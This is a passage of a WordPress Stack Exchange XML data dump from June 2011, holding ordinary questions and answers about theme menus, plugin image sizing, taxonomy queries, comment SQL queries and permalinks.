onclick=&quot;document.form5.select5.selectedIndex=0&quot;&amp;gt; &#xA;    &amp;lt;option value=&quot;../?gdsr_sort=rating&amp;amp;gdsr_order=desc&quot;&amp;gt;Rating&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;../?v_sortby=views&amp;amp;v_orderby=desc&quot;&amp;gt;Most Popular&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;../&quot;&amp;gt;Latest Posts&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/select&amp;gt;&#xA;    &amp;lt;/form&amp;gt; &#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php } &#xA;&#xA;if ($uri == &quot;/page/$paged?gdsr_sort=rating&amp;amp;gdsr_order=desc&quot;)  { ?&amp;gt;&#xA;&amp;lt;form name=&quot;form6&quot;action=&quot;../&quot;&amp;gt;                                   &#xA;&amp;lt;div style=&quot;padding-left:15px; margin:10px 0 10px;&quot;&amp;gt;Sort by:&amp;lt;select id=&quot;select6&quot; onchange=&quot;window.open(this.options[this.selectedIndex].value,'_top')&quot; onclick=&quot;document.form6.select6.selectedIndex=0&quot;&amp;gt; &#xA;    &amp;lt;option value=&quot;../?gdsr_sort=rating&amp;amp;gdsr_order=desc&quot;&amp;gt;Rating&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;../?v_sortby=views&amp;amp;v_orderby=desc&quot;&amp;gt;Most Popular&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;../page/&amp;lt;?php echo $paged; ?&amp;gt;&quot;&amp;gt;Latest Posts&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/select&amp;gt;&#xA;    &amp;lt;/form&amp;gt; &#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php } &#xA;}&#xA;&#xA;function widget_sortby() {&#xA;echo $before_widget;&#xA;echo '&amp;lt;h3 class=&quot;section-title&quot;&amp;gt;Sort Posts By:&amp;lt;/h3&amp;gt;';&#xA;sortby();&#xA;echo $after_widget;&#xA;}&#xA;&#xA;function sortby_init() {&#xA;register_sidebar_widget(__('Sort Posts By'), 'widget_sortby');&#xA;}&#xA;&#xA;add_action(&quot;plugins_loaded&quot;, &quot;sortby_init&quot;);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5937" LastActivityDate="2011-06-05T13:32:37.703" Title="Plugin to sort posts by views and rating" Tags="&lt;posts&gt;&lt;sort&gt;" />
  <row Id="19266" PostTypeId="2" ParentId="19225" CreationDate="2011-06-05T14:30:48.757" Score="0" ViewCount="" Body="&lt;p&gt;I believe the &lt;a href=&quot;http://wpml.org/&quot; rel=&quot;nofollow&quot;&gt;WordPress Multilingual&lt;/a&gt; plugin will do this, though I have not used it.&lt;/p&gt;&#xA;" OwnerUserId="1057" LastActivityDate="2011-06-05T14:30:48.757" CommentCount="1" />
  <row Id="19268" PostTypeId="1" CreationDate="2011-06-05T14:58:48.837" Score="0" ViewCount="61" Body="&lt;p&gt;I'm hoping someone can help me with this. I have looked all over and can't seem to find what I need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking for a WP plugin that will allow my site users to easily create their own photo galleries, without having to put the photos into a specific blog post first. In other words, they should be able to just create and publish their own photo galleries as desired.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like something very user-friendly, that I can customize with specific instructions, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked at NextGen and have tested that with some users, but they didn't find it to be very intuitive. (Maybe that's on them, but nevertheless...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to anyone who can help!&lt;/p&gt;&#xA;" OwnerUserId="5939" LastActivityDate="2011-08-06T17:39:52.150" Title="Looking for a photo gallery plugin" Tags="&lt;plugins&gt;&lt;gallery&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="19269" PostTypeId="1" CreationDate="2011-06-05T15:30:12.877" Score="0" ViewCount="91" Body="&lt;p&gt;I was trying to set up different menus based on what category &quot;page&quot; you were on using the built in Wordpress menu editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my header file I set up:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    if (is_home()) {&#xA;    $menu = 'home';}&#xA;&#xA;    elseif($post-&amp;gt;post_name='category-aviation'){&#xA;    $menu = 'aviation';}&#xA;&#xA;&#xA;&#xA;    elseif($post-&amp;gt;post_name='category-anti-terrorism'){&#xA;    $menu = 'anti-terrorism';}&#xA;        elseif($post-&amp;gt;post_name='asbestos'){&#xA;    $menu = 'asbestos';}&#xA;        elseif($post-&amp;gt;post_name='burn-pits'){&#xA;    $menu = 'burn-pits';}&#xA;        elseif($post-&amp;gt;post_name='catastropic-injury'){&#xA;    $menu = 'catastrophic-injury';}&#xA;        elseif($post-&amp;gt;post_name='medical'){&#xA;    $menu = 'medical';}&#xA;&#xA;        elseif($post-&amp;gt;post_name='securities'){&#xA;    $menu = 'securities';}&#xA;&#xA;    //get_category_by_slug('aviation')&#xA;    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I was calling the menu like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_nav_menu( array(  'theme_location'  =&amp;gt; &quot;$menu&quot; , 'sort_column' =&amp;gt; 'menu_order', 'container_class' =&amp;gt; 'menu-header' ) ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I set up the functions.php file with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function show_posts_nav() {&#xA;    global $wp_query;&#xA;    return ($wp_query-&amp;gt;max_num_pages &amp;gt; 1);&#xA;add_action( 'init', 'register_my_menus' );&#xA;&#xA;}&#xA;&#xA;if ( function_exists( 'register_nav_menus' ) ) {&#xA;    register_nav_menus(&#xA;        array(&#xA;          'home' =&amp;gt; 'The Home Menu',&#xA;          'aviation' =&amp;gt; 'Aviation',&#xA;          'anti-terrorism' =&amp;gt; 'Anti-Terrorism',&#xA;          'asbestos' =&amp;gt; 'Asbestos',&#xA;          'burn-pits' =&amp;gt; 'Burn Pits',&#xA;          'catastrophic-injury' =&amp;gt; 'Catastrophic .Injury',&#xA;          'medical' =&amp;gt; 'Medical',&#xA;          'securities' =&amp;gt; 'Securities'&#xA;&#xA;&#xA;&#xA;&#xA;        )&#xA;    );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;None of the menus are showing up however. Am I doing something wrong here? I know the body class is set to &quot;class=&quot;archive category category-aviation category-5 logged-in admin-bar&quot; when I am on the aviation page.&lt;/p&gt;&#xA;" OwnerUserId="807" LastActivityDate="2011-06-05T16:26:44.877" Title="Different Menus based on Category Page" Tags="&lt;custom-menus&gt;&lt;menus&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="19270" PostTypeId="2" ParentId="19114" CreationDate="2011-06-05T15:41:49.673" Score="0" ViewCount="" Body="&lt;p&gt;Well,i put this code in blog.php  , but for some reason gives me error. Here is the place in blog.php:&#xA;&#xA;        &#xA;    &#xA;&#xA;&lt;pre&gt;&lt;code&gt;    wp_reset_query(); $paged = (get_query_var('paged')) ? get_query_var('paged') : (get_query_var('page') ? get_query_var('page') : 1 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;$the_query = new WP_Query('cat=-'. $GLOBALS[ex_feat] . ',-' . $GLOBALS[ex_vid] . '&amp;amp;showposts=' . get_option('woo_other_entries') . '&amp;amp;orderby=post_date&amp;amp;order=desc&amp;amp;paged=' . $paged);&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $counter = 0;&#xA;&#xA;    while ($the_query-&amp;gt;have_posts()) : $the_query-&amp;gt;the_post(); $do_not_duplicate = $post-&amp;gt;ID;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I leave, instead of becoming slider, posts climb the other posts, so basically gives me error. Second if i put this code in default.php , basically the same as blog.php, nothing happens, like I did nothing. I don't know where i should put it, maybe it is something conflict, or else it would be, such as functions.php and index.php, i'm not sure, I try two days, but unfortunately nothing&lt;/p&gt;&#xA;" OwnerUserId="5940" LastActivityDate="2011-06-05T15:41:49.673" />
  <row Id="19271" PostTypeId="1" CreationDate="2011-06-05T16:02:20.660" Score="0" ViewCount="145" Body="&lt;p&gt;I was using Slidedeck pro wordpress (dynamic slider), and set it to pull in the first image from the post's gallery as the image. However, it keeps resizing the image down to 270px when I really need to have the image at 500px. Does anyone know how to remedy this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did find a template file with the resizing ratio. However, I am not even sure what to change to achieve the 500px width I need.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Correct image aspect ratio to fit within skin's image constraints&#xA;if( !empty( $image ) ){&#xA;    if( !empty( $image['width'] ) ){&#xA;        if( $image['width'] &amp;gt; 270 ){&#xA;            $w_ratio = 270 / $image['width'];&#xA;            $image['width'] = floor( $w_ratio * $image['width'] );&#xA;            if( isset( $image['height'] ) ) {&#xA;                $image['height'] = floor( $w_ratio * $image['height'] );&#xA;            }&#xA;        }&#xA;    }&#xA;    if( !empty( $image['height'] ) ){&#xA;        if( $image['height'] &amp;gt; 250 ){&#xA;            $h_ratio = 250 / $image['height'];&#xA;            $image['width'] = floor( $h_ratio * $image['width'] );&#xA;            $image['height'] = floor( $h_ratio * $image['height'] );&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I did try changing 270 to 500 earlier to no avail. &lt;/p&gt;&#xA;" OwnerUserId="807" LastEditorUserId="807" LastEditorDisplayName="" LastEditDate="2011-06-06T00:46:33.563" LastActivityDate="2011-06-06T00:46:33.563" Title="Slidedeck Pro Wordpress Image Size" Tags="&lt;image-size&gt;&lt;slideshow&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="19272" PostTypeId="2" ParentId="19271" CreationDate="2011-06-05T16:19:58.377" Score="1" ViewCount="" Body="&lt;p&gt;does it have a control panel with sizing options? Is there any mention of 270px at all in the files. If not then either your image is 270px or WordPress is resizing it. If WordPress is doing it check out this page settings&gt;media&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Correct image aspect ratio to fit within skin's image constraints&#xA;if( !empty( $image ) ){&#xA;if( !empty( $image['width'] ) ){&#xA;    if( $image['width'] &amp;gt; 500 ){&#xA;        $w_ratio = 500 / $image['width'];&#xA;        $image['width'] = floor( $w_ratio * $image['width'] );&#xA;        if( isset( $image['height'] ) ) {&#xA;            $image['height'] = floor( $w_ratio * $image['height'] );&#xA;        }&#xA;    }&#xA;}&#xA;if( !empty( $image['height'] ) ){&#xA;    if( $image['height'] &amp;gt; 250 ){ // Change the 250. This is the height you want so change to your height you use for your images&#xA;        $h_ratio = 250 / $image['height']; // Same here change the 250&#xA;        $image['width'] = floor( $h_ratio * $image['width'] );&#xA;        $image['height'] = floor( $h_ratio * $image['height'] );&#xA;    }&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that if you update the plugin you will have to change this every time. It is best to ask the dev if there are any plans for a control panel or a place to assign custom sizes.&lt;/p&gt;&#xA;" OwnerUserId="4998" LastEditorUserId="4998" LastEditorDisplayName="" LastEditDate="2011-06-05T16:59:18.323" LastActivityDate="2011-06-05T16:59:18.323" CommentCount="4" />
  <row Id="19273" PostTypeId="2" ParentId="19269" CreationDate="2011-06-05T16:26:44.877" Score="1" ViewCount="" Body="&lt;h2&gt;Outlining your concept&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;As far as i can see, you want to do the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Check if there is more than one page (&lt;code&gt;$GLOBALS['wp_query']-&amp;gt;max_num_pages &amp;gt; 1&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;If &lt;code&gt;TRUE&lt;/code&gt;, add your nav menus&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The concept fails in some points (more explanation at the end of the answer):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You're questioning too early if there's more than one page. (Your idea really is to only show these menus if you're on page 2 of a paginated archive?)&lt;/li&gt;&#xA;&lt;li&gt;You're looking into &lt;code&gt;$post-&amp;gt;post_name&lt;/code&gt; without a) having the data available from the global b) outside the loop and c) from the wrong global&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h3&gt;Make your life easier&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;In your &lt;code&gt;functions.php&lt;/code&gt; file you can add the menu like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpse19269_add_nav_menus()&#xA;{&#xA;    add_theme_support( 'menus' );&#xA;&#xA;    $nav_menus = array(&#xA;         'home'          =&amp;gt; 'The Home Menu',&#xA;         'aviation'      =&amp;gt; 'Aviation',&#xA;         'anti-terrorism'    =&amp;gt; 'Anti-Terrorism',&#xA;         'asbestos'      =&amp;gt; 'Asbestos',&#xA;         'burn-pits'         =&amp;gt; 'Burn Pits',&#xA;         'catastrophic-injury'   =&amp;gt; 'Catastrophic Injury',&#xA;         'medical'       =&amp;gt; 'Medical',&#xA;         'securities'        =&amp;gt; 'Securities'&#xA;    );&#xA;    register_nav_menus( $nav_menus );&#xA;}&#xA;add_action( 'init', 'wpse19269_add_nav_menus', 20 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you're using the &lt;code&gt;functions.php&lt;/code&gt; file, you can write your own custom functions and avoid cluttering your thems files:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpse19269_show_nav_menus()&#xA;{&#xA;    $menu = ''; // Set a value to avoid errors if no condition is met&#xA;    if ( is_home() )&#xA;    {&#xA;        $menu = 'home';&#xA;    }&#xA;    elseif( is_category('some_category') )&#xA;    {&#xA;        $menu = 'whatever';&#xA;    }&#xA;    elseif&#xA;    {&#xA;        // and so on...&#xA;    }&#xA;&#xA;    // Nav Menu&#xA;    wp_nav_menu( array( &#xA;         'theme-location'   =&amp;gt; $location&#xA;        ,'menu'         =&amp;gt; 'top-nav'&#xA;        ,'menu_id'      =&amp;gt; 'top-nav'&#xA;        ,'container'        =&amp;gt;  false&#xA;        ,'container_class'  =&amp;gt; 'menu-header' &#xA;    ) );&#xA;}&#xA;// Use it in your theme like this:&#xA;// wpse19269_show_nav_menus();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;After reading through your snippets, I think it's best to explain some basic things:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Global Variables&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;If you want to access &lt;code&gt;global&lt;/code&gt; available &lt;code&gt;$variables&lt;/code&gt;, you'll have to first call them as &lt;code&gt;global $whatever&lt;/code&gt; before you use it inside your function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function the_example()&#xA;{&#xA;    global $post; // Now we have the global data available in the function&#xA;    echo $post-&amp;gt;post_title; // This is the post title - must be used inside the loop&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can read &lt;a href=&quot;http://wordpress.stackexchange.com/questions/13063/how-to-inspect-global-variables-in-wordpress&quot;&gt;here&lt;/a&gt; more about it.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Interacting with data in hooks&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Please take a look at the &lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Action_Reference&quot; rel=&quot;nofollow&quot;&gt;Plugin API/Action Reference&lt;/a&gt; to see when &lt;code&gt;$wp_query&lt;/code&gt; is ready and available. You call on the &lt;code&gt;init&lt;/code&gt; hook is too early.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Conditional Tags&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Use other &lt;a href=&quot;http://codex.wordpress.org/Conditional_Tags&quot; rel=&quot;nofollow&quot;&gt;Conditional Tags&lt;/a&gt;, like &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_category&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;is_category('see codex link for more information');&lt;/code&gt;&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some other notes regarding your code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;wp_nav_menu( array( 'theme_location'  =&amp;gt; &quot;$menu&quot; ...&lt;/code&gt; should be written without the &lt;code&gt;&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;WordPress functions&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;You don't have to question &lt;code&gt;if ( function_exists('some_native_wp_fn') ) {&lt;/code&gt;, because it will exist. If doesn't exist anymore, you'll get a &lt;code&gt;depracated&lt;/code&gt; notice that tells you about it. If you question the existance you suppress the notice and won't be able to fix it (or have a hard time finding it).&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-06-05T16:26:44.877" />
  <row Id="19274" PostTypeId="1" AcceptedAnswerId="19275" CreationDate="2011-06-05T16:30:31.607" Score="1" ViewCount="81" Body="&lt;p&gt;I'm managing a movie related site.. I'm using yoast's &lt;a href=&quot;http://yoast.com/wordpress/simple-taxonomies/&quot; rel=&quot;nofollow&quot;&gt;simple taxonomies plugin&lt;/a&gt; to classify my content with Artists, Genre (action, horror, comedy, drama etc..), Director, Writer etc... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a specific page (template), I want to pull last 5 posts with only their titles from custom taxonomies.. how can I pull last 5 titles from Action, Comedy or Horror taxonomies as list?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will try to get an output like &lt;a href=&quot;http://tutsplus.com/&quot; rel=&quot;nofollow&quot;&gt;http://tutsplus.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="5941" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-06-05T16:37:21.360" LastActivityDate="2011-06-05T17:16:06.320" Title="List Recent Post Titles from Custom Taxonomies?" Tags="&lt;custom-taxonomy&gt;&lt;customization&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="19275" PostTypeId="2" ParentId="19274" CreationDate="2011-06-05T16:48:16.387" Score="1" ViewCount="" Body="&lt;p&gt;create additional loops in your template, selecting the taxonomy and term you'd like to limit display to for each. for instance, this will pull the last 5 posts from taxonomy &quot;genre&quot;, term &quot;action&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;$args = array( 'taxonomy'=&amp;gt;'genre','term'=&amp;gt;'action','posts_per_page'=&amp;gt;5 );&#xA;$action_films = new WP_Query( $args );&#xA;&#xA;while( $action_films-&amp;gt;have_posts() ) : $action_films-&amp;gt;the_post();&#xA;    echo '&amp;lt;li&amp;gt;';&#xA;    the_title();&#xA;    echo '&amp;lt;/li&amp;gt;';&#xA;endwhile;&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-06-05T16:48:16.387" CommentCount="3" />
  <row Id="19276" PostTypeId="1" AcceptedAnswerId="20151" CreationDate="2011-06-05T16:51:30.763" Score="0" ViewCount="179" Body="&lt;p&gt;Does anyone know of any good wordpress themes that are compatible with the bbpress &lt;em&gt;plugin&lt;/em&gt;? I'm looking for something with a good layout, preferably a magazine/news type theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks :)&lt;/p&gt;&#xA;" OwnerUserId="4238" LastActivityDate="2011-06-16T07:48:34.150" Title="Any Good WordPress Themes Compatible With The BBPress Plugin?" Tags="&lt;themes&gt;&lt;bbpress&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="19277" PostTypeId="2" ParentId="19274" CreationDate="2011-06-05T17:16:06.320" Score="1" ViewCount="" Body="&lt;p&gt;alternative approach :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$genres = array('action','drama','horror','comedy');&#xA;foreach ($genres as $genre){&#xA;    $query = new WP_Query( array( 'posts_per_page' =&amp;gt; 5, 'genre' =&amp;gt; $genre ) );&#xA;    echo '&amp;lt;div class=&quot;genre-list&quot;&amp;gt;&amp;lt;ul&amp;gt;';&#xA;    while ($query-&amp;gt;have_posts()){&#xA;        $query-&amp;gt;the_post();&#xA;        echo '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;'.get_permalink().'&quot;&amp;gt;'.get_the_title().'&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;    }&#xA;    echo '&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;';&#xA;    wp_reset_query();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-05T17:16:06.320" CommentCount="1" />
  <row Id="19278" PostTypeId="1" AcceptedAnswerId="19280" CreationDate="2011-06-05T17:33:16.050" Score="1" ViewCount="62" Body="&lt;p&gt;This is included in themes and plugins.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA; * @package WordPress&#xA; * @subpackage Twenty_Ten&#xA; * @since Twenty Ten 1.0&#xA; */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What are they for? I've read that they are standard and so on, but what is the practical use for it?&lt;/p&gt;&#xA;" OwnerUserId="5244" LastActivityDate="2011-06-05T18:33:57.777" Title="What are the package and subpackage comment for?" Tags="&lt;plugins&gt;&lt;themes&gt;&lt;comments&gt;" AnswerCount="2" />
  <row Id="19279" PostTypeId="1" AcceptedAnswerId="19281" CreationDate="2011-06-05T17:53:17.560" Score="0" ViewCount="28" Body="&lt;p&gt;what is a query for selecting a list of comment id's that have not had a reply yet so I can use it to iterate though each comment id and echo out the post it is on and the excerpt of the comment along with the author name, url and how many comments?&lt;/p&gt;&#xA;" OwnerUserId="699" LastActivityDate="2011-06-05T18:29:07.493" Title="db query for retrieving comments without any reply" Tags="&lt;comments&gt;&lt;query&gt;&lt;wpdb&gt;" AnswerCount="1" />
  <row Id="19280" PostTypeId="2" ParentId="19278" CreationDate="2011-06-05T18:18:21.517" Score="2" ViewCount="" Body="&lt;p&gt;These are &lt;a href=&quot;http://www.phpdoc.org/&quot; rel=&quot;nofollow&quot;&gt;PHPDoc&lt;/a&gt; tags - used to generate meaningful (and automated) code documentation&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-06-05T18:18:21.517" />
  <row Id="19281" PostTypeId="2" ParentId="19279" CreationDate="2011-06-05T18:29:07.493" Score="0" ViewCount="" Body="&lt;p&gt;this should work...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;global $wpdb;&#xA;$sql = &quot;SELECT comment_ID FROM &quot;. $wpdb-&amp;gt;prefix .&quot;comments WHERE comment_parent = 0 AND comment_ID NOT IN(SELECT comment_parent FROM &quot;. $wpdb-&amp;gt;prefix .&quot;comments);&quot;;&#xA;$results = $wpdb-&amp;gt;get_results($sql);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-06-05T18:29:07.493" CommentCount="1" />
  <row Id="19282" PostTypeId="2" ParentId="19278" CreationDate="2011-06-05T18:33:57.777" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Theme_Development#Theme_Stylesheet&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Theme_Development#Theme_Stylesheet&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3768" LastActivityDate="2011-06-05T18:33:57.777" />
  <row Id="19283" PostTypeId="1" CreationDate="2011-06-05T18:35:30.357" Score="0" ViewCount="65" Body="&lt;p&gt;Added a subcategory to WordPress. Wrote a blog post and attached it to this subcategory. Now for some reason when I check it on my site, it give me the below error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Sorry, you are looking for something that isn't here.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The weird thing is that I can still access the post from the front page, and it shows me the correct URL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;subdomain.domain.com/category/subcategory/postname  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when i remove &quot;postname&quot;, it says it can't find it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="5943" LastActivityDate="2011-06-05T18:46:14.290" Title="Posts made to category don't show up (do show up on frontpage)" Tags="&lt;categories&gt;&lt;loop&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="19284" PostTypeId="2" ParentId="19283" CreationDate="2011-06-05T18:46:14.290" Score="1" ViewCount="" Body="&lt;p&gt;so your permalinks are &lt;code&gt;/%category%/%postname%&lt;/code&gt;, are you using a plugin to remove the category base? typically path to the category page would be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;subdomain.domain.com/category/*categoryname*/*subcategoryname*/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-06-05T18:46:14.290" CommentCount="1" />
  <row Id="19285" PostTypeId="2" ParentId="9394" CreationDate="2011-06-05T18:52:28.287" Score="1" ViewCount="" Body="&lt;p&gt;I'd just like to add one tiny thing to &lt;em&gt;t31os&lt;/em&gt;'s code above. I changed &quot;SELECT&quot; into &quot;SELECT DISTINCT&quot; to eliminate duplicate entries when I used this code myself.&lt;/p&gt;&#xA;" OwnerUserId="2126" LastActivityDate="2011-06-05T18:52:28.287" />
  <row Id="19286" PostTypeId="2" ParentId="19225" CreationDate="2011-06-05T19:33:54.387" Score="0" ViewCount="" Body="&lt;p&gt;Depends on your theme, but some language strings may be coded in the archives.php file. Check that and also see &lt;a href=&quot;http://codex.wordpress.org/I18n_for_WordPress_Developers&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/I18n_for_WordPress_Developers&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-06-05T19:33:54.387" />
  <row Id="19287" PostTypeId="1" CreationDate="2011-06-05T19:34:05.360" Score="0" ViewCount="63" Body="&lt;p&gt;I created a custom post type *press_release* that will be showing up under the About section of our website. The custom post type is working well, and I've created a metabox to properly set the post_parent for the new type, however the menus aren't working. I'm using the post_parent to set a relationship such that a Press Releases page is the parent of each of the new pres_release posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The final relationship is About (Page) =&gt; Press Releases (Page) =&gt; Each Release (CPT)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current, puzzling behaviour, is that my main menu has &quot;About&quot; in it, but also &quot;Blog&quot; ... when viewing any of the custom posts, instead of applying  the *current_page_parent* CSS class to the About menu item (as I want and expect), it's being applied to the Blog menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked, and post_parent is being correctly saved, but for some reason that doesn't seem to be making a difference to the menu calculations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using WP 3.1 and am using the new menu system.&lt;/p&gt;&#xA;" OwnerUserId="5944" LastEditorUserId="5944" LastEditorDisplayName="" LastEditDate="2011-06-05T19:42:03.913" LastActivityDate="2011-06-05T19:42:03.913" Title="How do I set current_page_parent on the correct menu item, when viewing a custom post type?" Tags="&lt;custom-post-types&gt;&lt;custom-menus&gt;" FavoriteCount="1" />
  <row Id="19288" PostTypeId="2" ParentId="19276" CreationDate="2011-06-05T19:39:11.430" Score="0" ViewCount="" Body="&lt;p&gt;See &lt;a href=&quot;http://www.google.com/search?q=bbpress+themes&quot; rel=&quot;nofollow&quot;&gt;http://www.google.com/search?q=bbpress+themes&lt;/a&gt; and &lt;a href=&quot;http://wordpress.org/extend/themes/guangzhou&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/themes/guangzhou&lt;/a&gt; and &lt;a href=&quot;http://bbpress.org/documentation/themes/&quot; rel=&quot;nofollow&quot;&gt;http://bbpress.org/documentation/themes/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-06-05T19:39:11.430" />
